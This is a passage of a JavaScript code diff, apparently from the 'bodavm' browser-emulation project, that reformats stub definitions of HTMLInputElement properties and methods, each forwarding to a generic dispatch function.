bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "readOnly", {configurable:true, enumerable:true, get:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_get", arguments)}, set:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "required", {configurable:true, enumerable:true, get:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_get", arguments)}, set:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "step", {configurable:true, enumerable:true, get:function step (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_get", arguments)}, set:function step (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_get", arguments)}, set:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsDate", {configurable:true, enumerable:true, get:function valueAsDate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_get", arguments)}, set:function valueAsDate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsNumber", {configurable:true, enumerable:true, get:function valueAsNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_get", arguments)}, set:function valueAsNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionStart", {configurable:true, enumerable:true, get:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_get", arguments)}, set:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionEnd", {configurable:true, enumerable:true, get:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_get", arguments)}, set:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionDirection", {configurable:true, enumerable:true, get:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_get", arguments)}, set:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitdirectory", {configurable:true, enumerable:true, get:function webkitdirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_get", arguments)}, set:function webkitdirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "incremental", {configurable:true, enumerable:true, get:function incremental (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_get", arguments)}, set:function incremental (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "select", {configurable:true, enumerable:true, writable:true, value:function select (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "select", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setCustomValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "setRangeText", {configurable:true, enumerable:true, writable:true, value:function setRangeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setRangeText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "setSelectionRange", {configurable:true, enumerable:true, writable:true, value:function setSelectionRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setSelectionRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "showPicker", {configurable:true, enumerable:true, writable:true, value:function showPicker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "showPicker", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepDown", {configurable:true, enumerable:true, writable:true, value:function stepDown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepDown", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepUp", {configurable:true, enumerable:true, writable:true, value:function stepUp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepUp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitEntries", {configurable:true, enumerable:true, get:function webkitEntries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitEntries_get", arguments)}, set:undefined},'prototype'); +// HTMLInputElement对象 + +bodavm.memory.globalobj['HTMLInputElement'] = function HTMLInputElement() { + console.log_copy('HTMLInputElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLInputElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLInputElement'], "HTMLInputElement"); +bodavm.memory.globalobj['HTMLInputElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLInputElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLInputElement', "accept", { + configurable: true, + enumerable: true, + get: function accept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_get", arguments); + }, + set: function accept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "alt", { + configurable: true, + enumerable: true, + get: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_get", arguments); + }, + set: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "autocomplete", { + configurable: true, + enumerable: true, + get: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_get", arguments); + }, + set: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultChecked", { + configurable: true, + enumerable: true, + get: function defaultChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_get", arguments); + }, + set: function defaultChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "checked", { + configurable: true, + enumerable: true, + get: function checked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_get", arguments); + }, + set: function checked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "dirName", { + configurable: true, + enumerable: true, + get: function dirName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_get", arguments); + }, + set: function dirName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "files", { + configurable: true, + enumerable: true, + get: function files() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_get", arguments); + }, + set: function files() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formAction", { + configurable: true, + enumerable: true, + get: function formAction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_get", arguments); + }, + set: function formAction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formEnctype", { + configurable: true, + enumerable: true, + get: function formEnctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_get", arguments); + }, + set: function formEnctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formMethod", { + configurable: true, + enumerable: true, + get: function formMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_get", arguments); + }, + set: function formMethod() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formNoValidate", { + configurable: true, + enumerable: true, + get: function formNoValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_get", arguments); + }, + set: function formNoValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formTarget", { + configurable: true, + enumerable: true, + get: function formTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_get", arguments); + }, + set: function formTarget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "indeterminate", { + configurable: true, + enumerable: true, + get: function indeterminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_get", arguments); + }, + set: function indeterminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "list", { + configurable: true, + enumerable: true, + get: function list() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "list_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "max", { + configurable: true, + enumerable: true, + get: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_get", arguments); + }, + set: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "maxLength", { + configurable: true, + enumerable: true, + get: function maxLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_get", arguments); + }, + set: function maxLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "min", { + configurable: true, + enumerable: true, + get: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_get", arguments); + }, + set: function min() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "minLength", { + configurable: true, + enumerable: true, + get: function minLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_get", arguments); + }, + set: function minLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "multiple", { + configurable: true, + enumerable: true, + get: function multiple() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_get", arguments); + }, + set: function multiple() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "pattern", { + configurable: true, + enumerable: true, + get: function pattern() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_get", arguments); + }, + set: function pattern() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "placeholder", { + configurable: true, + enumerable: true, + get: function placeholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_get", arguments); + }, + set: function placeholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "readOnly", { + configurable: true, + enumerable: true, + get: function readOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_get", arguments); + }, + set: function readOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "required", { + configurable: true, + enumerable: true, + get: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_get", arguments); + }, + set: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "step", { + configurable: true, + enumerable: true, + get: function step() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_get", arguments); + }, + set: function step() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultValue", { + configurable: true, + enumerable: true, + get: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_get", arguments); + }, + set: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsDate", { + configurable: true, + enumerable: true, + get: function valueAsDate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_get", arguments); + }, + set: function valueAsDate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsNumber", { + configurable: true, + enumerable: true, + get: function valueAsNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_get", arguments); + }, + set: function valueAsNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionStart", { + configurable: true, + enumerable: true, + get: function selectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_get", arguments); + }, + set: function selectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionEnd", { + configurable: true, + enumerable: true, + get: function selectionEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_get", arguments); + }, + set: function selectionEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_set", arguments); + } +}, 'prototype'); 